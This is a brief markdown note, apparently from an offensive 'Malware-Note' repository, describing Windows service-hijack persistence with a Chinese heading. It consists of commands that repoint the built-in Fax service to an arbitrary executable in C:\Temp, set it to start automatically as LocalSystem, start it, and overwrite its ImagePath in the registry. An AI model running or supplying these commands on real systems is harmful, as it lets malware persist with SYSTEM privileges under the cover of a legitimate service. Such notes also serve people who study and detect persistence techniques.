Malware-Note/persistence/service/edit-service.md

293 B
Raw Permalink Blame History

修改服务

修改Fax服务文件路径

sc config Fax binPath= "C:\Temp\qwqdanchun.exe" start="auto" obj="LocalSystem"

sc start Fax

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fax" /v ImagePath /t REG_SZ /d "C:\Temp\qwqdanchun.exe" /f